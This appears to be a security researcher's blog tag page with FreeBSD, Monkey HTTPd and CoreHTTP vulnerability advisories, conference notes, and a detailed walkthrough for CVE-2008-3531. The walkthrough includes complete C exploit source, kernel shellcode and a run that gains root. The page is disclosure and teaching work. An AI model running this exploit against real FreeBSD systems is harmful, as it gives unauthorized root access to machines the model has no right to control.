argp's blog

Tag: research

FreeBSD kernel NFS client local vulnerabilities

by argp on May.23, 2010, under advisories

census ID: census-2010-0001
CVE ID: CVE-2010-2020
Affected Products: FreeBSD 8.0-RELEASE, 7.3-RELEASE, 7.2-RELEASE
Class: Improper Input Validation (CWE-20)
Remote: No
Discovered by: Patroklos Argyroudis

We have discovered two improper input validation vulnerabilities in the FreeBSD kernel’s NFS client-side implementation (FreeBSD 8.0-RELEASE, 7.3-RELEASE and 7.2-RELEASE) that allow local unprivileged users to escalate their privileges, or to crash the system by performing a denial of service attack.

Details

FreeBSD is an advanced operating system which focuses on reliability and performance. More information about its features can be found here.

FreeBSD 8.0-RELEASE, 7.3-RELEASE and 7.2-RELEASE employ an improper input validation method in the kernel’s NFS client-side implementation. Specifically, the first vulnerability is in function nfs_mount() (file src/sys/nfsclient/nfs_vfsops.c) which is reachable from the mount(2) and nmount(2) system calls. In order for them to be enabled for unprivileged users the sysctl(8) variable vfs.usermount must be set to a non-zero value.

The function nfs_mount() employs an insufficient input validation method for copying data passed in a structure of type nfs_args from userspace to kernel. Specifically, the file handle buffer to be mounted (args.fh) and its size (args.fhsize) are completely user-controllable. The unbounded copy operation is in file src/sys/nfsclient/nfs_vfsops.c (the excerpts are from 8.0-RELEASE):

1094
1095
1096
1097
1098
1099
if (!has_fh_opt) {
      error = copyin((caddr_t)args.fh, (caddr_t)nfh,
           args.fhsize);
    if (error) {
         goto out;
      }

The declaration of the variables args and nfh is at:

786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
static int
nfs_mount(struct mount *mp)
{
        struct nfs_args args = {
            .version = NFS_ARGSVERSION,
            .addr = NULL,
            .addrlen = sizeof (struct sockaddr_in),
            .sotype = SOCK_STREAM,
            .proto = 0,
            .fh = NULL,
            .fhsize = 0,
            .flags = NFSMNT_RESVPORT,
            .wsize = NFS_WSIZE,
            .rsize = NFS_RSIZE,
            .readdirsize = NFS_READDIRSIZE,
            .timeo = 10,
            .retrans = NFS_RETRANS,
            .maxgrouplist = NFS_MAXGRPS,
            .readahead = NFS_DEFRAHEAD,
            .wcommitsize = 0,                   /* was: NQ_DEFLEASE */
            .deadthresh = NFS_MAXDEADTHRESH,    /* was: NQ_DEADTHRESH */
            .hostname = NULL,
            /* args version 4 */
            .acregmin = NFS_MINATTRTIMO,
            .acregmax = NFS_MAXATTRTIMO,
            .acdirmin = NFS_MINDIRATTRTIMO,
            .acdirmax = NFS_MAXDIRATTRTIMO,
        };
        int error, ret, has_nfs_args_opt;
        int has_addr_opt, has_fh_opt, has_hostname_opt;
        struct sockaddr *nam;
        struct vnode *vp;
        char hst[MNAMELEN];
        size_t len;
        u_char nfh[NFSX_V3FHMAX];

This vulnerability can cause a kernel stack overflow which leads to privilege escalation on FreeBSD 7.3-RELEASE and 7.2-RELEASE. On FreeBSD 8.0-RELEASE the result is a kernel crash/denial of service due to the SSP/ProPolice kernel stack-smashing protection which is enabled by default. Versions 7.1-RELEASE and earlier do not appear to be vulnerable since the bug was introduced in 7.2-RELEASE. In order to demonstrate the impact of the vulnerability we have developed a proof-of-concept privilege escalation exploit. A sample run of the exploit follows:

[argp@julius ~]$ uname -rsi
FreeBSD 7.3-RELEASE GENERIC
[argp@julius ~]$ sysctl vfs.usermount
vfs.usermount: 1
[argp@julius ~]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
[argp@julius ~]$ ./nfs_mount_ex
[*] calling nmount()
[!] nmount error: -1030740736
nmount: Unknown error: -1030740736
[argp@julius ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)

The second vulnerability exists in the function mountnfs() that is called from function nfs_mount():

1119
1120
error = mountnfs(&args, mp, nam, args.hostname, &vp,
    curthread->td_ucred);

The function mountnfs() is reachable from the mount(2) and nmount(2) system calls by unprivileged users. As with the nfs_mount() case above, this requires the sysctl(8) variable vfs.usermount to be set to a non-zero value.

The file handle to be mounted (argp->fh) and its size (argp->fhsize) are passed to function mountnfs() from function nfs_mount() and are user-controllable. These are subsequently used in an unbounded bcopy() call (file src/sys/nfsclient/nfs_vfsops.c):

1219
bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize);

The above can cause a kernel heap overflow when argp->fh is bigger than 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on the Universal Memory Allocator (UMA, the FreeBSD kernel’s heap allocator) zone nfsmount_zone (again from src/sys/nfsclient/nfs_vfsops.c):

1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
static int
mountnfs(struct nfs_args *argp, struct mount *mp, struct sockaddr *nam,
    char *hst, struct vnode **vpp, struct ucred *cred)
{
        struct nfsmount *nmp;
        struct nfsnode *np;
        int error;
        struct vattr attrs;
 
        if (mp->mnt_flag & MNT_UPDATE) {
                nmp = VFSTONFS(mp);
                printf("%s: MNT_UPDATE is no longer handled here\n", __func__);
                free(nam, M_SONAME);
                return (0);
        } else {
                nmp = uma_zalloc(nfsmount_zone, M_WAITOK);

This kernel heap overflow can lead on FreeBSD 8.0-RELEASE, 7.3-RELEASE and 7.2-RELEASE to privilege escalation and/or a kernel crash/denial of service attack. Similarly to the first vulnerability, FreeBSD 7.1-RELEASE and earlier versions do not appear to be vulnerable. We have developed a proof-of-concept DoS exploit to demonstrate the vulnerability. Furthermore, we have also developed a privilege escalation exploit for this second vulnerability which will not be released at this point.

FreeBSD has released an official advisory and a patch to address both vulnerabilities. All affected parties are advised to follow the upgrade instructions included in the advisory and patch their systems.

Leave a Comment :, , , , , , more...

Black Hat Europe 2010 update

by argp on Apr.22, 2010, under exploitation, freebsd, kernel, research, security

Black Hat Europe 2010 is now over and after a brief ash cloud caused delay I am back in Greece. It has been a great conference, flawlessly organised and with many outstanding presentations. I would like to thank everyone that attended my presentation but also all the kind people that spoke to me before and afterwards. I hope to meet all of you again at a future event.


Black Hat Europe 2010

My presentation, titled “Binding the Daemon: FreeBSD Kernel Stack and Heap Exploitation”, was divided into four parts. In the first part I gave an overview of the published work on the subject of kernel exploitation for Unix-like operating systems. The second and third parts were the main body of the presentation. Specifically, in the second part I explained how a kernel stack overflow vulnerability on FreeBSD can be leveraged to achieve arbitrary code execution. The third part focused on a detailed security analysis of the Universal Memory Allocator (UMA), the FreeBSD kernel’s memory allocator. I explored how UMA overflows can lead to arbitrary code execution in the context of the latest stable FreeBSD kernel (8.0-RELEASE), and I developed an exploitation methodology for privilege escalation and kernel continuation.

In the fourth and final part I gave a demo of a FreeBSD kernel local 0day vulnerability that I have discovered. However, I have not released the details of the vulnerability in my Black Hat presentation. The details of this vulnerability (plus the proof-of-concept exploit) will be released shortly, once the relevant code is patched and the official advisory is out.

Below you may find all the material of my presentation, updated with some extra information and minor corrections:

Leave a Comment :, , , , , , , more...

Binding the Daemon – Black Hat Europe 2010

by argp on Mar.19, 2010, under exploitation, freebsd, kernel, research, security

Census, Inc will be presenting “Binding the Daemon”, an in-depth analysis of FreeBSD kernel stack and kernel heap exploitation methodologies at Black Hat Europe 2010. This year the European Black Hat Briefings conference will be held in Barcelona, Spain. We hope to see you there!

Leave a Comment :, , , , , , , more...

exploit for CVE-2010-0453

by argp on Feb.07, 2010, under exploitation, research, security

While playing today with kmdb on OpenSolaris I wrote a denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION ioctl NULL pointer dereference vulnerability. The vulnerability was discovered by Tobias Klein who always publishes very detailed advisories:

http://www.trapkit.de/advisories/TKADV2010-001.txt

You can get my exploit from:

http://census-labs.com/media/cve-2010-0453.c

Leave a Comment :, , , , , more...

first 2010 0day

by argp on Jan.06, 2010, under exploitation, research, security

md5: e8d5dd9d6cdf8602f12c8baef53f6550
sha1: 1322d45eed25260a0d5f85284011e1b205328807
sha256: eb4f95ec1b62d57e022c6945bdcb3f747f94f3ad7ddedc4bfde7dee23d4362ef

Leave a Comment :, , , more...

xmas 2009 0day

by argp on Dec.24, 2009, under exploitation, research, security

md5: a145ed9d7e1c33124daab40447cc5b56
sha1: c888985f209c26243206f8864783500b0c9353bb
sha256: 27cbcd01cf0e1b6a2ba82d4c0209a791957a3c1c29c131b0208f77981a1a81aa

Leave a Comment :, , , more...

Monkey HTTPd improper input validation vulnerability

by argp on Dec.14, 2009, under advisories

census ID: census-2009-0004
Affected Products: Monkey web server versions ≤ 0.9.2.
Class: Improper Input Validation (CWE-20), Incorrect Calculation (CWE-682)
Remote: Yes
Discovered by: Patroklos Argyroudis

We have discovered a remotely exploitable “improper input validation” vulnerability in the Monkey web server that allows an attacker to perform denial of service attacks by repeatedly crashing worker threads that process HTTP requests.

Details

Monkey is a fast, efficient, small and easy to configure HTTP/1.1 compliant web server. It has been designed to be scalable with low memory and CPU consumption. More information about its features can be found here.

Monkey (up to and including version 0.9.2) employs an insufficient input validation method for handling HTTP requests with invalid connection headers. Specifically, the vulnerability is in the calculation for the end of the request body buffer related to newline characters in function Request_Find_Variable() in the file src/request.c:

364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
char *Request_Find_Variable(char *request_body,  char *string)
{
   int pos_init_var=0, pos_end_var=0;
   char *var_value = 0;
 
   /* Existe *string en request_body ??? */        
   if (strstr2(request_body, string) == NULL)
       return NULL;
 
   pos_init_var = str_search(request_body, string, strlen(string));
   pos_end_var = str_search(request_body+pos_init_var, "\n", 1) - 1;
 
   if(pos_init_var<=0 || pos_end_var<=0){
       return  NULL;   
   }
 
   pos_init_var += strlen(string) + 1;
   pos_end_var = (unsigned int) (pos_init_var  + pos_end_var) - (strlen(string) +1);
 
   var_value = m_copy_string(request_body, pos_init_var, pos_end_var);
 
   return (char *) var_value;
}

With a specially crafted request body the pos_init_var integer can take the value 0x1c (28 in decimal) and the pos_end_var integer can take the value 0x1a (26 in decimal). Then in the m_copy_string() function, the calculation for the unsigned integer size in line 428 (file src/utils.c) leads to a signedness bug and m_copy_string() returns NULL (line 438, file src/utils.c):

423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
char *m_copy_string(const char *string, int pos_init, int pos_end)
{
   unsigned int size, bytes;
   char *buffer=0;
 
   size = (unsigned int) (pos_end &mdash; pos_init ) + 1;
   if(size<=2) size=4;
 
   buffer = M_malloc(size);
 
   if(!buffer){
       return NULL;
   }
 
   if(pos_end>strlen(string) || (pos_init > pos_end)){
       return NULL;
   }

This causes Request_Find_Variable() to return NULL (line 344, file src/request.c) and this to be used in the strstr2() call at line 345 of file src/request.c:

344
345
346
347
sr->connection = Request_Find_Variable(request_body, RH_CONNECTION);
if((strstr2(sr->connection,"Keep-Alive"))!=NULL){
    sr->keep_alive=VAR_ON;
}

This vulnerability can allow an attacker to perform denial of service attacks by repeatedly crashing Monkey worker threads that process HTTP requests. We have developed a proof-of-concept exploit to demonstrate the vulnerability.

The maintainer of Monkey has been contacted and a new version of the web server (0.9.3) has been released that addresses this issue. All affected parties are advised to upgrade to the latest version available.

Leave a Comment :, , , , , , more...

CoreHTTP web server off-by-one buffer overflow vulnerability

by argp on Dec.02, 2009, under advisories

census ID: census-2009-0003
CVE ID: CVE-2009-3586
Affected Products: CoreHTTP web server versions ≤ 0.5.3.1.
Class: Improper Input Validation (CWE-20), Failure to Constrain Operations within the Bounds of a Memory Buffer (CWE-119)
Remote: Yes
Discovered by: Patroklos Argyroudis

We have discovered a remotely exploitable “improper input validation” vulnerability in the CoreHTTP web server that leads to an off-by-one stack buffer overflow. The vulnerability can lead to denial of service attacks against the web server and potentially to the remote execution of arbitrary code with the privileges of the user running the server.

Details

CoreHTTP is a minimalist web server focusing on speed and size. More information about its features can be found here.

CoreHTTP (up to and including version 0.5.3.1) employs an insufficient input validation method for handling HTTP requests with invalid method names and URIs. Specifically, the vulnerability is an off-by-one buffer overflow in the sscanf() call at file src/http.c line numbers 45 and 46:

45
46
sscanf(parentsprock->buffer,
       "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);

The buffers req and url are declared to be of size 256 bytes (PATHSIZE) and the sscanf() call writes 256 bytes (PATHSIZE_S) to these buffers without NULL terminating them.

Note that this is not vulnerability CVE-2007-4060 in which the same sscanf() call contained no bounds check at all.

This vulnerability can lead to denial of service attacks against the CoreHTTP web server and potentially to the remote execution of arbitrary code with the privileges of the user running the server. We have developed a proof-of-concept exploit to demonstrate the vulnerability.

To address the problem we propose the following unofficial patch (download it from here), since CoreHTTP’s author has not released an official fix yet:

--- corehttp/src/common.h.orig  2009-12-01 09:29:18.000000000 +0200
+++ corehttp/src/common.h       2009-12-01 09:31:47.000000000 +0200
@@ -36,7 +36,7 @@
 #define BUFSIZE                2048
 #define BUFSIZE_S      "2048"
 #define PATHSIZE       256
-#define PATHSIZE_S     "256"
+#define PATHSIZE_S     "255"
 #define        SETSIZE         16
 
 #ifndef GLOBALS_DEFINED
Leave a Comment :, , , , , , more...

CVE-2008-3531: FreeBSD kernel stack overflow exploit development

by argp on Jul.04, 2009, under exploitation

About four months ago I developed a reliable exploit for vulnerability CVE-2008-3531, which is also addressed in the advisory FreeBSD-SA-08:08.nmount. In this post I will use this vulnerability to provide an overview of the development process for FreeBSD kernel stack exploits.

CVE-2008-3531 is a kernel stack overflow vulnerability that affects FreeBSD versions 7.0-RELEASE and 7.0-STABLE, but not 7.1-RELEASE nor 7.1-STABLE as the CVE entry seems to suggest.

The bug is in function vfs_filteropt() at src/sys/kern/vfs_mount.c:

1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
int
vfs_filteropt(struct vfsoptlist *opts, const char **legal)
{
       struct vfsopt *opt;
       char errmsg[255];
       const char **t, *p, *q;
       int ret = 0;
 
       TAILQ_FOREACH(opt, opts, link) {
               p = opt->name;
               q = NULL;
               if (p[0] == 'n' && p[1] == 'o')
                       q = p + 2;
               for(t = global_opts; *t != NULL; t++) {
                       if (strcmp(*t, p) == 0)
                               break;
                       if (q != NULL) {
                               if (strcmp(*t, q) == 0)
                                       break;
                       }
               }
               if (*t != NULL)
                       continue;
               for(t = legal; *t != NULL; t++) {
                       if (strcmp(*t, p) == 0)
                               break;
                       if (q != NULL) {
                               if (strcmp(*t, q) == 0)
                                       break;
                       }
               }
               if (*t != NULL)
                       continue;
               sprintf(errmsg, "mount option <%s> is unknown", p);
               printf("%s\n", errmsg);
               ret = EINVAL;
       }
       if (ret != 0) {
               TAILQ_FOREACH(opt, opts, link) {
                       if (strcmp(opt->name, "errmsg") == 0) {
                           strncpy((char *)opt->value, errmsg, opt->len);
                       }
               }
       }
       return (ret);
}

The first step of the exploit development process involves identifying the vulnerability’s conditions and assessing its impact.

In line 1833 sprintf() is used to write an error message to a locally declared static buffer, namely errmsg declared in line 1804 with a size of 255 bytes. The variable p used in sprintf() is a pointer to the mount option’s name. Conceptually a mount option is a tuple of the form (name, value). The vulnerable sprintf() call can be reached from userland when p‘s (i.e. the mount option’s name) corresponding value is invalid, but not NULL (due to the checks performed in the first TAILQ_FOREACH loop). For example, the tuple (“AAAA”, “BBBB”) satisfies this condition; the mount option’s value is the string “BBBB” which is invalid and not NULL therefore p would point to the string “AAAA”. Both the mount option’s name (p) and the mount option’s value are user-controlled. This allows the overflow of the errmsg buffer by supplying a mount option name of arbitrary length and as we will see below, less importantly in this case, arbitrary content. Since errmsg is on a kernel stack, we can use the overflow to corrupt the current stack frame’s saved return address with the ultimate goal of diverting the kernel’s execution flow to code of our own choosing.

Now that we have explored the conditions and concluded that we can indeed achieve arbitrary code execution we have to explore the ways we can trigger the vulnerability. There are many possible execution paths to reach vfs_filteropt() from userland. After browsing FreeBSD’s file system stacking source code for a couple of minutes I decided to use the following:

nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt()

By default on FreeBSD the nmount(2) system call can only be called by root. In order for it to be enabled for unprivileged users the sysctl(8) variable vfs.usermount must be set to a non-zero value.

At this point we know that the vulnerability can potentially lead to arbitrary code execution and how to trigger it. The next step is to find a place to store our arbitrary code and divert the kernel’s execution flow to that memory address. Due to the structure of the format string used in the sprintf() call, we do not have direct control of the value that overwrites the saved return address in vfs_filteropt()‘s kernel stack frame.

However, indirect control is more than enough to achieve arbitrary code execution. When p points to a string of 248 ‘A’s followed by NULL (i.e. 248 * ‘A’ + ‘\0’) the saved return address is overwritten with the value 0x6e776f, that is the “nwo” of “unknown” in the sprintf()‘s format string. Using the exploitation methodology of kernel NULL pointer dereference vulnerabilities, we can use mmap(2) to map memory at the page boundary 0x6e7000. Then we can place our arbitrary kernel shellcode 0x76f bytes after that. Therefore, when the corrupted saved return address with the value 0x6e776f is restored into the EIP register the kernel will execute our instructions that have been mapped to this address.

The next step in the exploit development process is to write these instructions. Specifically, our kernel shellcode should:

  • locate the credentials of the user that triggers the vulnerability and escalate his privileges,
  • ensure kernel continuation. In other words, the system must be kept in a running condition and stable after exploitation.

User credentials specifying the process owner’s privileges in FreeBSD are stored in a structure of type ucred defined at src/sys/ucred.h:

45
46
47
48
49
50
51
52
53
54
struct ucred {
    u_int   cr_ref;                 /* reference count */
#define cr_startcopy cr_uid
    uid_t   cr_uid;                 /* effective user id */
    uid_t   cr_ruid;                /* real user id */
    uid_t   cr_svuid;               /* saved user id */
    short   cr_ngroups;             /* number of groups */
    gid_t   cr_groups[NGROUPS];     /* groups */
    gid_t   cr_rgid;                /* real group id */
    gid_t   cr_svgid;               /* saved group id */

A pointer to the ucred structure exists in a structure of type proc defined at src/sys/proc.h:

484
485
486
487
488
489
struct proc {
  LIST_ENTRY(proc) p_list;            /* (d) List of all processes. */
  TAILQ_HEAD(, thread) p_threads;     /* (j) all threads. */
  TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */
  struct mtx      p_slock;            /* process spin lock */
  struct ucred    *p_ucred;           /* (c) Process owner's identity. */

The address of the proc structure can be dynamically located at runtime from unprivileged processes in a number of ways:

  • The sysctl(3) kern.proc.pid kernel interface and the kinfo_proc structure.
  • The allproc symbol that the FreeBSD kernel exports by default.
  • The curthread pointer from the pcpu structure (segment FS in kernel context points to it).

You can find more information about the first alternative in the talk I gave on FreeBSD kernel stack overflows at the University of Piraeus Software Libre Society, Event #16: Computer Security (unfortunately the slides from the talk are only available in Greek currently). The second alternative will be the subject of a future post. In the developed exploit I will use the third alternative.

The other task that our shellcode should perform is to maintain the stability of the system by ensuring the kernel’s continuation. One way to approach this would be to port Silvio Cesare’s “iret” return to userland approach (presented at his “Open source kernel auditing and exploitation” Black Hat talk) to FreeBSD. Although a full investigation of Silvio’s “iret” technique on FreeBSD would be very interesting, it is beyond the scope of this post.

In order to successfully return to userland from the kernel shellcode I will use another approach. Remember that the execution path I decided to take is nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt(). After the shellcode has performed privilege escalation it could return to where vfs_filteropt() was supposed to return, that is in msdosfs_mount(). However that is not possible since msdosfs_mount()‘s saved registers have been corrupted when vfs_filteropt()‘s stack frame was smashed by the overflow. The values of these saved registers cannot be restored, consequently there is no safe way to return to msdosfs_mount() after privilege escalation. The solution I have implemented in the exploit bypasses msdosfs_mount() completely and returns to the pre-previous from vfs_filteropt() function, namely vfs_donmount(). The saved registers’ values of vfs_donmount() are uncorrupted in msdosfs_mount()‘s stack frame. To make this more clear, consider the following pseudocode that is based on the relevant deadlisting part:

/* this function's saved registers' values are uncorrupted */
vfs_donmount()
{
    ...
    msdosfs_mount();
    ...
}
 
msdosfs_mount()
{
    ...
    vfs_filteropt();
    ...
    /* stack cleanup, restore saved registers */
    addl    $0xe8, %esp
    popl    %ebx
    popl    %esi
    popl    %edi
    popl    %ebp
    ret
}

Taking into consideration the above analysis, the complete kernel shellcode for the developed exploit is the following (you can download it from here):

.global _start
_start:
 
movl    %fs:0, %eax         # get curthread
movl    0x4(%eax), %eax     # get proc from curthread
movl    0x30(%eax), %eax    # get ucred from proc
xorl    %ecx, %ecx          # ecx = 0
movl    %ecx, 0x4(%eax)     # ucred.uid = 0
movl    %ecx, 0x8(%eax)     # ucred.ruid = 0
 
# return to the pre-previous function, i.e. vfs_donmount()
addl    $0xe8, %esp
popl    %ebx
popl    %esi
popl    %edi
popl    %ebp
ret

Now we have a way to safely return from kernel to userland and ensure the continuation of the exploited system. The complete exploit is (you can download it from here):

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
 
#define BUFSIZE     249
 
#define PAGESIZE    4096
#define ADDR        0x6e7000
#define OFFSET      1903
 
#define FSNAME      "msdosfs"
#define DIRPATH     "/tmp/msdosfs"
 
unsigned char kernelcode[] =
    "\x64\xa1\x00\x00\x00\x00\x8b\x40\x04\x8b\x40\x30"
    "\x31\xc9\x89\x48\x04\x89\x48\x08\x81\xc4\xe8\x00"
    "\x00\x00\x5b\x5e\x5f\x5d\xc3";
 
int
main()
{
    void *vptr;
    struct iovec iov[6];
 
    vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
 
    if(vptr == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
 
    vptr += OFFSET;
    printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);
 
    memcpy(vptr, kernelcode, (sizeof(kernelcode) &mdash; 1));
 
    mkdir(DIRPATH, 0700);
 
    iov[0].iov_base = "fstype";
    iov[0].iov_len = strlen(iov[0].iov_base) + 1;
 
    iov[1].iov_base = FSNAME;
    iov[1].iov_len = strlen(iov[1].iov_base) + 1;
 
    iov[2].iov_base = "fspath";
    iov[2].iov_len = strlen(iov[2].iov_base) + 1;
 
    iov[3].iov_base = DIRPATH;
    iov[3].iov_len = strlen(iov[3].iov_base) + 1;
 
    iov[4].iov_base = calloc(BUFSIZE, sizeof(char));
 
    if(iov[4].iov_base == NULL)
    {
        perror("calloc");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }
 
    memset(iov[4].iov_base, 0x41, (BUFSIZE &mdash; 1));
    iov[4].iov_len = BUFSIZE;
 
    iov[5].iov_base = "BBBB";
    iov[5].iov_len = strlen(iov[5].iov_base) + 1;
 
    printf("[*] calling nmount()\n");
 
    if(nmount(iov, 6, 0) < 0)
    {
        perror("nmount");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }
 
    printf("[*] unmounting and deleting %s\n", DIRPATH);
    unmount(DIRPATH, 0);
    rmdir(DIRPATH);
 
    return EXIT_SUCCESS;
}

Finally, a sample run of the exploit:

[argp@leon ~]$ uname -rsi
FreeBSD 7.0-RELEASE GENERIC
[argp@leon ~]$ sysctl vfs.usermount
vfs.usermount: 1
[argp@leon ~]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
[argp@leon ~]$ ./cve-2008-3531
[*] vptr = 0x006e776f
[*] calling nmount()
nmount: Unknown error: -1036235776
[argp@leon ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)

And this concludes my post. I hope you enjoyed reading this as much as I enjoyed writing it.

4 Comments :, , , , , , more...

FreeBSD kernel stack overflows

by argp on Jul.03, 2009, under exploitation, freebsd, hacks, kernel, research, security

Last May (2008/05/30) I presented my research on FreeBSD kernel stack overflows at the University of Piraeus Software Libre Society, Event #16: Computer Security. The slides from my talk are now available from the research section of the census web page.

In the talk I explored in detail the process of exploiting kernel stack overflows in the 7.0 production release of the FreeBSD operating system. There were extensive examples and live experimentation, all of which are unfortunately not reflected in the supporting slides. The main contribution of the study is the development of a kernel exploitation algorithm and the presentation of comprehensive i386 kernel shellcode. Although the focus was on the then most current production release of FreeBSD (7.0), the presented algorithm and methodologies are applicable to both the latest stable (7.1) and current (8.0) FreeBSD versions.

Leave a Comment :, , , , more...

Search

Use the form below to search the blog: